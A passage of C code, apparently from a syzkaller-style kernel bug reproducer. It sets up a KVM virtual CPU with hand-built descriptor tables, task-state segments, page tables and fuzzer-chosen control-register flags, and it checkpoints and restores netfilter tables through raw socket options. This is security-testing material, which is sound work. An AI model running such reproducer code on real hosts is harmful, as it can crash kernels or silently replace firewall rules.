(uint64_t*)(host_mem + sregs->idt.base); for (int i = 0; i < 32; i++) { struct kvm_segment gate; gate.selector = (i * 2) << 3; gate.type = (i & 1) ? 14 : 15; gate.base = SEL_CS64; gate.limit = guest_mem + ADDR_VAR_USER_CODE2; gate.present = 1; gate.dpl = 0; gate.s = 0; gate.g = 0; gate.db = 0; gate.l = 0; gate.avl = 0; fill_segment_descriptor_dword(idt, idt, &gate); } } struct kvm_text { uintptr_t typ; const void* text; uintptr_t size; }; struct kvm_opt { uint64_t typ; uint64_t val; }; #define KVM_SETUP_PAGING (1 << 0) #define KVM_SETUP_PAE (1 << 1) #define KVM_SETUP_PROTECTED (1 << 2) #define KVM_SETUP_CPL3 (1 << 3) #define KVM_SETUP_VIRT86 (1 << 4) #define KVM_SETUP_SMM (1 << 5) #define KVM_SETUP_VM (1 << 6) static long syz_kvm_setup_cpu(volatile long a0, volatile long a1, volatile long a2, volatile long a3, volatile long a4, volatile long a5, volatile long a6, volatile long a7) { const int vmfd = a0; const int cpufd = a1; char* const host_mem = (char*)a2; const struct kvm_text* const text_array_ptr = (struct kvm_text*)a3; const uintptr_t text_count = a4; const uintptr_t flags = a5; const struct kvm_opt* const opt_array_ptr = (struct kvm_opt*)a6; uintptr_t opt_count = a7; const uintptr_t page_size = 4 << 10; const uintptr_t ioapic_page = 10; const uintptr_t guest_mem_size = 24 * page_size; const uintptr_t guest_mem = 0; (void)text_count; int text_type = text_array_ptr[0].typ; const void* text = text_array_ptr[0].text; uintptr_t text_size = text_array_ptr[0].size; for (uintptr_t i = 0; i < guest_mem_size / page_size; i++) { struct kvm_userspace_memory_region memreg; memreg.slot = i; memreg.flags = 0; memreg.guest_phys_addr = guest_mem + i * page_size; if (i == ioapic_page) memreg.guest_phys_addr = 0xfec00000; memreg.memory_size = page_size; memreg.userspace_addr = (uintptr_t)host_mem + i * page_size; ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &memreg); } struct kvm_userspace_memory_region memreg; memreg.slot = 1 + (1 << 16); memreg.flags = 0; memreg.guest_phys_addr = 0x30000; memreg.memory_size = 64 << 10; memreg.userspace_addr = (uintptr_t)host_mem; ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &memreg); struct kvm_sregs sregs; if (ioctl(cpufd, KVM_GET_SREGS, &sregs)) return -1; struct kvm_regs regs; memset(&regs, 0, sizeof(regs)); regs.rip = guest_mem + ADDR_TEXT; regs.rsp = ADDR_STACK0; sregs.gdt.base = guest_mem + ADDR_GDT; sregs.gdt.limit = 256 * sizeof(uint64_t) - 1; uint64_t* gdt = (uint64_t*)(host_mem + sregs.gdt.base); struct kvm_segment seg_ldt; seg_ldt.selector = SEL_LDT; seg_ldt.type = 2; seg_ldt.base = guest_mem + ADDR_LDT; seg_ldt.limit = 256 * sizeof(uint64_t) - 1; seg_ldt.present = 1; seg_ldt.dpl = 0; seg_ldt.s = 0; seg_ldt.g = 0; seg_ldt.db = 1; seg_ldt.l = 0; sregs.ldt = seg_ldt; uint64_t* ldt = (uint64_t*)(host_mem + sregs.ldt.base); struct kvm_segment seg_cs16; seg_cs16.selector = SEL_CS16; seg_cs16.type = 11; seg_cs16.base = 0; seg_cs16.limit = 0xfffff; seg_cs16.present = 1; seg_cs16.dpl = 0; seg_cs16.s = 1; seg_cs16.g = 0; seg_cs16.db = 0; seg_cs16.l = 0; struct kvm_segment seg_ds16 = seg_cs16; seg_ds16.selector = SEL_DS16; seg_ds16.type = 3; struct kvm_segment seg_cs16_cpl3 = seg_cs16; seg_cs16_cpl3.selector = SEL_CS16_CPL3; seg_cs16_cpl3.dpl = 3; struct kvm_segment seg_ds16_cpl3 = seg_ds16; seg_ds16_cpl3.selector = SEL_DS16_CPL3; seg_ds16_cpl3.dpl = 3; struct kvm_segment seg_cs32 = seg_cs16; seg_cs32.selector = SEL_CS32; seg_cs32.db = 1; struct kvm_segment seg_ds32 = seg_ds16; seg_ds32.selector = SEL_DS32; seg_ds32.db = 1; struct kvm_segment seg_cs32_cpl3 = seg_cs32; seg_cs32_cpl3.selector = SEL_CS32_CPL3; seg_cs32_cpl3.dpl = 3; struct kvm_segment seg_ds32_cpl3 = seg_ds32; seg_ds32_cpl3.selector = SEL_DS32_CPL3; seg_ds32_cpl3.dpl = 3; struct kvm_segment seg_cs64 = seg_cs16; seg_cs64.selector = SEL_CS64; seg_cs64.l = 1; struct kvm_segment seg_ds64 = seg_ds32; seg_ds64.selector = SEL_DS64; struct kvm_segment seg_cs64_cpl3 = seg_cs64; seg_cs64_cpl3.selector = SEL_CS64_CPL3; seg_cs64_cpl3.dpl = 3; struct kvm_segment seg_ds64_cpl3 = seg_ds64; seg_ds64_cpl3.selector = SEL_DS64_CPL3; seg_ds64_cpl3.dpl = 3; struct kvm_segment seg_tss32; seg_tss32.selector = SEL_TSS32; seg_tss32.type = 9; seg_tss32.base = ADDR_VAR_TSS32; seg_tss32.limit = 0x1ff; seg_tss32.present = 1; seg_tss32.dpl = 0; seg_tss32.s = 0; seg_tss32.g = 0; seg_tss32.db = 0; seg_tss32.l = 0; struct kvm_segment seg_tss32_2 = seg_tss32; seg_tss32_2.selector = SEL_TSS32_2; seg_tss32_2.base = ADDR_VAR_TSS32_2; struct kvm_segment seg_tss32_cpl3 = seg_tss32; seg_tss32_cpl3.selector = SEL_TSS32_CPL3; seg_tss32_cpl3.base = ADDR_VAR_TSS32_CPL3; struct kvm_segment seg_tss32_vm86 = seg_tss32; seg_tss32_vm86.selector = SEL_TSS32_VM86; seg_tss32_vm86.base = ADDR_VAR_TSS32_VM86; struct kvm_segment seg_tss16 = seg_tss32; seg_tss16.selector = SEL_TSS16; seg_tss16.base = ADDR_VAR_TSS16; seg_tss16.limit = 0xff; seg_tss16.type = 1; struct kvm_segment seg_tss16_2 = seg_tss16; seg_tss16_2.selector = SEL_TSS16_2; seg_tss16_2.base = ADDR_VAR_TSS16_2; seg_tss16_2.dpl = 0; struct kvm_segment seg_tss16_cpl3 = seg_tss16; seg_tss16_cpl3.selector = SEL_TSS16_CPL3; seg_tss16_cpl3.base = ADDR_VAR_TSS16_CPL3; seg_tss16_cpl3.dpl = 3; struct kvm_segment seg_tss64 = seg_tss32; seg_tss64.selector = SEL_TSS64; seg_tss64.base = ADDR_VAR_TSS64; seg_tss64.limit = 0x1ff; struct kvm_segment seg_tss64_cpl3 = seg_tss64; seg_tss64_cpl3.selector = SEL_TSS64_CPL3; seg_tss64_cpl3.base = ADDR_VAR_TSS64_CPL3; seg_tss64_cpl3.dpl = 3; struct kvm_segment seg_cgate16; seg_cgate16.selector = SEL_CGATE16; seg_cgate16.type = 4; seg_cgate16.base = SEL_CS16 | (2 << 16); seg_cgate16.limit = ADDR_VAR_USER_CODE2; seg_cgate16.present = 1; seg_cgate16.dpl = 0; seg_cgate16.s = 0; seg_cgate16.g = 0; seg_cgate16.db = 0; seg_cgate16.l = 0; seg_cgate16.avl = 0; struct kvm_segment seg_tgate16 = seg_cgate16; seg_tgate16.selector = SEL_TGATE16; seg_tgate16.type = 3; seg_cgate16.base = SEL_TSS16_2; seg_tgate16.limit = 0; struct kvm_segment seg_cgate32 = seg_cgate16; seg_cgate32.selector = SEL_CGATE32; seg_cgate32.type = 12; seg_cgate32.base = SEL_CS32 | (2 << 16); struct kvm_segment seg_tgate32 = seg_cgate32; seg_tgate32.selector = SEL_TGATE32; seg_tgate32.type = 11; seg_tgate32.base = SEL_TSS32_2; seg_tgate32.limit = 0; struct kvm_segment seg_cgate64 = seg_cgate16; seg_cgate64.selector = SEL_CGATE64; seg_cgate64.type = 12; seg_cgate64.base = SEL_CS64; int kvmfd = open("/dev/kvm", O_RDWR); char buf[sizeof(struct kvm_cpuid2) + 128 * sizeof(struct kvm_cpuid_entry2)]; memset(buf, 0, sizeof(buf)); struct kvm_cpuid2* cpuid = (struct kvm_cpuid2*)buf; cpuid->nent = 128; ioctl(kvmfd, KVM_GET_SUPPORTED_CPUID, cpuid); ioctl(cpufd, KVM_SET_CPUID2, cpuid); close(kvmfd); const char* text_prefix = 0; int text_prefix_size = 0; char* host_text = host_mem + ADDR_TEXT; if (text_type == 8) { if (flags & KVM_SETUP_SMM) { if (flags & KVM_SETUP_PROTECTED) { sregs.cs = seg_cs16; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds16; sregs.cr0 |= CR0_PE; } else { sregs.cs.selector = 0; sregs.cs.base = 0; } *(host_mem + ADDR_TEXT) = 0xf4; host_text = host_mem + 0x8000; ioctl(cpufd, KVM_SMI, 0); } else if (flags & KVM_SETUP_VIRT86) { sregs.cs = seg_cs32; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32; sregs.cr0 |= CR0_PE; sregs.efer |= EFER_SCE; setup_syscall_msrs(cpufd, SEL_CS32, SEL_CS32_CPL3); setup_32bit_idt(&sregs, host_mem, guest_mem); if (flags & KVM_SETUP_PAGING) { uint64_t pd_addr = guest_mem + ADDR_PD; uint64_t* pd = (uint64_t*)(host_mem + ADDR_PD); pd[0] = PDE32_PRESENT | PDE32_RW | PDE32_USER | PDE32_PS; sregs.cr3 = pd_addr; sregs.cr4 |= CR4_PSE; text_prefix = kvm_asm32_paged_vm86; text_prefix_size = sizeof(kvm_asm32_paged_vm86) - 1; } else { text_prefix = kvm_asm32_vm86; text_prefix_size = sizeof(kvm_asm32_vm86) - 1; } } else { sregs.cs.selector = 0; sregs.cs.base = 0; } } else if (text_type == 16) { if (flags & KVM_SETUP_CPL3) { sregs.cs = seg_cs16; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds16; text_prefix = kvm_asm16_cpl3; text_prefix_size = sizeof(kvm_asm16_cpl3) - 1; } else { sregs.cr0 |= CR0_PE; sregs.cs = seg_cs16; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds16; } } else if (text_type == 32) { sregs.cr0 |= CR0_PE; sregs.efer |= EFER_SCE; setup_syscall_msrs(cpufd, SEL_CS32, SEL_CS32_CPL3); setup_32bit_idt(&sregs, host_mem, guest_mem); if (flags & KVM_SETUP_SMM) { sregs.cs = seg_cs32; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32; *(host_mem + ADDR_TEXT) = 0xf4; host_text = host_mem + 0x8000; ioctl(cpufd, KVM_SMI, 0); } else if (flags & KVM_SETUP_PAGING) { sregs.cs = seg_cs32; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32; uint64_t pd_addr = guest_mem + ADDR_PD; uint64_t* pd = (uint64_t*)(host_mem + ADDR_PD); pd[0] = PDE32_PRESENT | PDE32_RW | PDE32_USER | PDE32_PS; sregs.cr3 = pd_addr; sregs.cr4 |= CR4_PSE; text_prefix = kvm_asm32_paged; text_prefix_size = sizeof(kvm_asm32_paged) - 1; } else if (flags & KVM_SETUP_CPL3) { sregs.cs = seg_cs32_cpl3; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32_cpl3; } else { sregs.cs = seg_cs32; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32; } } else { sregs.efer |= EFER_LME | EFER_SCE; sregs.cr0 |= CR0_PE; setup_syscall_msrs(cpufd, SEL_CS64, SEL_CS64_CPL3); setup_64bit_idt(&sregs, host_mem, guest_mem); sregs.cs = seg_cs32; sregs.ds = sregs.es = sregs.fs = sregs.gs = sregs.ss = seg_ds32; uint64_t pml4_addr = guest_mem + ADDR_PML4; uint64_t* pml4 = (uint64_t*)(host_mem + ADDR_PML4); uint64_t pdpt_addr = guest_mem + ADDR_PDP; uint64_t* pdpt = (uint64_t*)(host_mem + ADDR_PDP); uint64_t pd_addr = guest_mem + ADDR_PD; uint64_t* pd = (uint64_t*)(host_mem + ADDR_PD); pml4[0] = PDE64_PRESENT | PDE64_RW | PDE64_USER | pdpt_addr; pdpt[0] = PDE64_PRESENT | PDE64_RW | PDE64_USER | pd_addr; pd[0] = PDE64_PRESENT | PDE64_RW | PDE64_USER | PDE64_PS; sregs.cr3 = pml4_addr; sregs.cr4 |= CR4_PAE; if (flags & KVM_SETUP_VM) { sregs.cr0 |= CR0_NE; *((uint64_t*)(host_mem + ADDR_VAR_VMXON_PTR)) = ADDR_VAR_VMXON; *((uint64_t*)(host_mem + ADDR_VAR_VMCS_PTR)) = ADDR_VAR_VMCS; memcpy(host_mem + ADDR_VAR_VMEXIT_CODE, kvm_asm64_vm_exit, sizeof(kvm_asm64_vm_exit) - 1); *((uint64_t*)(host_mem + ADDR_VAR_VMEXIT_PTR)) = ADDR_VAR_VMEXIT_CODE; text_prefix = kvm_asm64_init_vm; text_prefix_size = sizeof(kvm_asm64_init_vm) - 1; } else if (flags & KVM_SETUP_CPL3) { text_prefix = kvm_asm64_cpl3; text_prefix_size = sizeof(kvm_asm64_cpl3) - 1; } else { text_prefix = kvm_asm64_enable_long; text_prefix_size = sizeof(kvm_asm64_enable_long) - 1; } } struct tss16 tss16; memset(&tss16, 0, sizeof(tss16)); tss16.ss0 = tss16.ss1 = tss16.ss2 = SEL_DS16; tss16.sp0 = tss16.sp1 = tss16.sp2 = ADDR_STACK0; tss16.ip = ADDR_VAR_USER_CODE2; tss16.flags = (1 << 1); tss16.cs = SEL_CS16; tss16.es = tss16.ds = tss16.ss = SEL_DS16; tss16.ldt = SEL_LDT; struct tss16* tss16_addr = (struct tss16*)(host_mem + seg_tss16_2.base); memcpy(tss16_addr, &tss16, sizeof(tss16)); memset(&tss16, 0, sizeof(tss16)); tss16.ss0 = tss16.ss1 = tss16.ss2 = SEL_DS16; tss16.sp0 = tss16.sp1 = tss16.sp2 = ADDR_STACK0; tss16.ip = ADDR_VAR_USER_CODE2; tss16.flags = (1 << 1); tss16.cs = SEL_CS16_CPL3; tss16.es = tss16.ds = tss16.ss = SEL_DS16_CPL3; tss16.ldt = SEL_LDT; struct tss16* tss16_cpl3_addr = (struct tss16*)(host_mem + seg_tss16_cpl3.base); memcpy(tss16_cpl3_addr, &tss16, sizeof(tss16)); struct tss32 tss32; memset(&tss32, 0, sizeof(tss32)); tss32.ss0 = tss32.ss1 = tss32.ss2 = SEL_DS32; tss32.sp0 = tss32.sp1 = tss32.sp2 = ADDR_STACK0; tss32.ip = ADDR_VAR_USER_CODE; tss32.flags = (1 << 1) | (1 << 17); tss32.ldt = SEL_LDT; tss32.cr3 = sregs.cr3; tss32.io_bitmap = offsetof(struct tss32, io_bitmap); struct tss32* tss32_addr = (struct tss32*)(host_mem + seg_tss32_vm86.base); memcpy(tss32_addr, &tss32, sizeof(tss32)); memset(&tss32, 0, sizeof(tss32)); tss32.ss0 = tss32.ss1 = tss32.ss2 = SEL_DS32; tss32.sp0 = tss32.sp1 = tss32.sp2 = ADDR_STACK0; tss32.ip = ADDR_VAR_USER_CODE; tss32.flags = (1 << 1); tss32.cr3 = sregs.cr3; tss32.es = tss32.ds = tss32.ss = tss32.gs = tss32.fs = SEL_DS32; tss32.cs = SEL_CS32; tss32.ldt = SEL_LDT; tss32.cr3 = sregs.cr3; tss32.io_bitmap = offsetof(struct tss32, io_bitmap); struct tss32* tss32_cpl3_addr = (struct tss32*)(host_mem + seg_tss32_2.base); memcpy(tss32_cpl3_addr, &tss32, sizeof(tss32)); struct tss64 tss64; memset(&tss64, 0, sizeof(tss64)); tss64.rsp[0] = ADDR_STACK0; tss64.rsp[1] = ADDR_STACK0; tss64.rsp[2] = ADDR_STACK0; tss64.io_bitmap = offsetof(struct tss64, io_bitmap); struct tss64* tss64_addr = (struct tss64*)(host_mem + seg_tss64.base); memcpy(tss64_addr, &tss64, sizeof(tss64)); memset(&tss64, 0, sizeof(tss64)); tss64.rsp[0] = ADDR_STACK0; tss64.rsp[1] = ADDR_STACK0; tss64.rsp[2] = ADDR_STACK0; tss64.io_bitmap = offsetof(struct tss64, io_bitmap); struct tss64* tss64_cpl3_addr = (struct tss64*)(host_mem + seg_tss64_cpl3.base); memcpy(tss64_cpl3_addr, &tss64, sizeof(tss64)); if (text_size > 1000) text_size = 1000; if (text_prefix) { memcpy(host_text, text_prefix, text_prefix_size); void* patch = memmem(host_text, text_prefix_size, "\xde\xc0\xad\x0b", 4); if (patch) *((uint32_t*)patch) = guest_mem + ADDR_TEXT + ((char*)patch - host_text) + 6; uint16_t magic = PREFIX_SIZE; patch = memmem(host_text, text_prefix_size, &magic, sizeof(magic)); if (patch) *((uint16_t*)patch) = guest_mem + ADDR_TEXT + text_prefix_size; } memcpy((void*)(host_text + text_prefix_size), text, text_size); *(host_text + text_prefix_size + text_size) = 0xf4; memcpy(host_mem + ADDR_VAR_USER_CODE, text, text_size); *(host_mem + ADDR_VAR_USER_CODE + text_size) = 0xf4; *(host_mem + ADDR_VAR_HLT) = 0xf4; memcpy(host_mem + ADDR_VAR_SYSRET, "\x0f\x07\xf4", 3); memcpy(host_mem + ADDR_VAR_SYSEXIT, "\x0f\x35\xf4", 3); *(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_FLD) = 0; *(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_VAL) = 0; if (opt_count > 2) opt_count = 2; for (uintptr_t i = 0; i < opt_count; i++) { uint64_t typ = opt_array_ptr[i].typ; uint64_t val = opt_array_ptr[i].val; switch (typ % 9) { case 0: sregs.cr0 ^= val & (CR0_MP | CR0_EM | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_NW | CR0_CD); break; case 1: sregs.cr4 ^= val & (CR4_VME | CR4_PVI | CR4_TSD | CR4_DE | CR4_MCE | CR4_PGE | CR4_PCE | CR4_OSFXSR | CR4_OSXMMEXCPT | CR4_UMIP | CR4_VMXE | CR4_SMXE | CR4_FSGSBASE | CR4_PCIDE | CR4_OSXSAVE | CR4_SMEP | CR4_SMAP | CR4_PKE); break; case 2: sregs.efer ^= val & (EFER_SCE | EFER_NXE | EFER_SVME | EFER_LMSLE | EFER_FFXSR | EFER_TCE); break; case 3: val &= ((1 << 8) | (1 << 9) | (1 << 10) | (1 << 12) | (1 << 13) | (1 << 14) | (1 << 15) | (1 << 18) | (1 << 19) | (1 << 20) | (1 << 21)); regs.rflags ^= val; tss16_addr->flags ^= val; tss16_cpl3_addr->flags ^= val; tss32_addr->flags ^= val; tss32_cpl3_addr->flags ^= val; break; case 4: seg_cs16.type = val & 0xf; seg_cs32.type = val & 0xf; seg_cs64.type = val & 0xf; break; case 5: seg_cs16_cpl3.type = val & 0xf; seg_cs32_cpl3.type = val & 0xf; seg_cs64_cpl3.type = val & 0xf; break; case 6: seg_ds16.type = val & 0xf; seg_ds32.type = val & 0xf; seg_ds64.type = val & 0xf; break; case 7: seg_ds16_cpl3.type = val & 0xf; seg_ds32_cpl3.type = val & 0xf; seg_ds64_cpl3.type = val & 0xf; break; case 8: *(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_FLD) = (val & 0xffff); *(uint64_t*)(host_mem + ADDR_VAR_VMWRITE_VAL) = (val >> 16); break; default: exit(1); } } regs.rflags |= 2; fill_segment_descriptor(gdt, ldt, &seg_ldt); fill_segment_descriptor(gdt, ldt, &seg_cs16); fill_segment_descriptor(gdt, ldt, &seg_ds16); fill_segment_descriptor(gdt, ldt, &seg_cs16_cpl3); fill_segment_descriptor(gdt, ldt, &seg_ds16_cpl3); fill_segment_descriptor(gdt, ldt, &seg_cs32); fill_segment_descriptor(gdt, ldt, &seg_ds32); fill_segment_descriptor(gdt, ldt, &seg_cs32_cpl3); fill_segment_descriptor(gdt, ldt, &seg_ds32_cpl3); fill_segment_descriptor(gdt, ldt, &seg_cs64); fill_segment_descriptor(gdt, ldt, &seg_ds64); fill_segment_descriptor(gdt, ldt, &seg_cs64_cpl3); fill_segment_descriptor(gdt, ldt, &seg_ds64_cpl3); fill_segment_descriptor(gdt, ldt, &seg_tss32); fill_segment_descriptor(gdt, ldt, &seg_tss32_2); fill_segment_descriptor(gdt, ldt, &seg_tss32_cpl3); fill_segment_descriptor(gdt, ldt, &seg_tss32_vm86); fill_segment_descriptor(gdt, ldt, &seg_tss16); fill_segment_descriptor(gdt, ldt, &seg_tss16_2); fill_segment_descriptor(gdt, ldt, &seg_tss16_cpl3); fill_segment_descriptor_dword(gdt, ldt, &seg_tss64); fill_segment_descriptor_dword(gdt, ldt, &seg_tss64_cpl3); fill_segment_descriptor(gdt, ldt, &seg_cgate16); fill_segment_descriptor(gdt, ldt, &seg_tgate16); fill_segment_descriptor(gdt, ldt, &seg_cgate32); fill_segment_descriptor(gdt, ldt, &seg_tgate32); fill_segment_descriptor_dword(gdt, ldt, &seg_cgate64); if (ioctl(cpufd, KVM_SET_SREGS, &sregs)) return -1; if (ioctl(cpufd, KVM_SET_REGS, &regs)) return -1; return 0; } #define XT_TABLE_SIZE 1536 #define XT_MAX_ENTRIES 10 struct xt_counters { uint64_t pcnt, bcnt; }; struct ipt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_entries; unsigned int size; }; struct ipt_get_entries { char name[32]; unsigned int size; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct ipt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[5]; unsigned int underflow[5]; unsigned int num_counters; struct xt_counters* counters; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct ipt_table_desc { const char* name; struct ipt_getinfo info; struct ipt_replace replace; }; static struct ipt_table_desc ipv4_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; static struct ipt_table_desc ipv6_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "mangle"}, {.name = "raw"}, {.name = "security"}, }; #define IPT_BASE_CTL 64 #define IPT_SO_SET_REPLACE (IPT_BASE_CTL) #define IPT_SO_GET_INFO (IPT_BASE_CTL) #define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1) struct arpt_getinfo { char name[32]; unsigned int valid_hooks; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_entries; unsigned int size; }; struct arpt_get_entries { char name[32]; unsigned int size; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct arpt_replace { char name[32]; unsigned int valid_hooks; unsigned int num_entries; unsigned int size; unsigned int hook_entry[3]; unsigned int underflow[3]; unsigned int num_counters; struct xt_counters* counters; uint64_t entrytable[XT_TABLE_SIZE / sizeof(uint64_t)]; }; struct arpt_table_desc { const char* name; struct arpt_getinfo info; struct arpt_replace replace; }; static struct arpt_table_desc arpt_tables[] = { {.name = "filter"}, }; #define ARPT_BASE_CTL 96 #define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL) #define ARPT_SO_GET_INFO (ARPT_BASE_CTL) #define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1) static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_iptables(struct ipt_table_desc* tables, int num_tables, int family, int level) { int fd = socket(family, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (int i = 0; i < num_tables; i++) { struct ipt_table_desc* table = &tables[i]; if (table->info.valid_hooks == 0) continue; struct ipt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct ipt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } static void checkpoint_arptables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; strcpy(table->info.name, table->name); strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } exit(1); } if (table->info.size > sizeof(table->replace.entrytable)) exit(1); if (table->info.num_entries > XT_MAX_ENTRIES) exit(1); struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); table->replace.valid_hooks = table->info.valid_hooks; table->replace.num_entries = table->info.num_entries; table->replace.size = table->info.size; memcpy(table->replace.hook_entry, table->info.hook_entry, sizeof(table->replace.hook_entry)); memcpy(table->replace.underflow, table->info.underflow, sizeof(table->replace.underflow)); memcpy(table->replace.entrytable, entries.entrytable, table->info.size); } close(fd); } static void reset_arptables() { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (unsigned i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) { struct arpt_table_desc* table = &arpt_tables[i]; if (table->info.valid_hooks == 0) continue; struct arpt_getinfo info; memset(&info, 0, sizeof(info)); strcpy(info.name, table->name); socklen_t optlen = sizeof(info); if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen)) exit(1); if (memcmp(&table->info, &info, sizeof(table->info)) == 0) { struct arpt_get_entries entries; memset(&entries, 0, sizeof(entries)); strcpy(entries.name, table->name); entries.size = table->info.size; optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size; if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen)) exit(1); if (memcmp(table->replace.entrytable, entries.entrytable, table->info.size) == 0) continue; } else { } struct xt_counters counters[XT_MAX_ENTRIES]; table->replace.num_counters = info.num_entries; table->replace.counters = counters; optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) + table->replace.size; if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen)) exit(1); } close(fd); } #define NF_BR_NUMHOOKS 6 #define EBT_TABLE_MAXNAMELEN 32 #define EBT_CHAIN_MAXNAMELEN 32 #define EBT_BASE_CTL 128 #define EBT_SO_SET_ENTRIES (EBT_BASE_CTL) #define EBT_SO_GET_INFO (EBT_BASE_CTL) #define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1) #define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1) #define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1) struct ebt_replace { char name[EBT_TABLE_MAXNAMELEN]; unsigned int valid_hooks; unsigned int nentries; unsigned int entries_size; struct ebt_entries* hook_entry[NF_BR_NUMHOOKS]; unsigned int num_counters; struct ebt_counter* counters; char* entries; }; struct ebt_entries { unsigned int distinguisher; char name[EBT_CHAIN_MAXNAMELEN]; unsigned int counter_offset; int policy; unsigned int nentries; char data[0] __attribute__((aligned(__alignof__(struct ebt_replace)))); }; struct ebt_table_desc { const char* name; struct ebt_replace replace; char entrytable[XT_TABLE_SIZE]; }; static struct ebt_table_desc ebt_tables[] = { {.name = "filter"}, {.name = "nat"}, {.name = "broute"}, }; static void checkpoint_ebtables(void) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd == -1) { switch (errno) { case EAFNOSUPPORT: case ENOPROTOOPT: return; } exit(1); } for (size_t i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) { struct ebt_table_desc* table = &ebt_tables[i]; strcpy(table->replace.name, table->name); socklen_t optlen = sizeof(table->replace); if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace, &optlen)) { switch (errno) { case EPERM: case ENOENT: case ENOPROTOOPT: continue; } 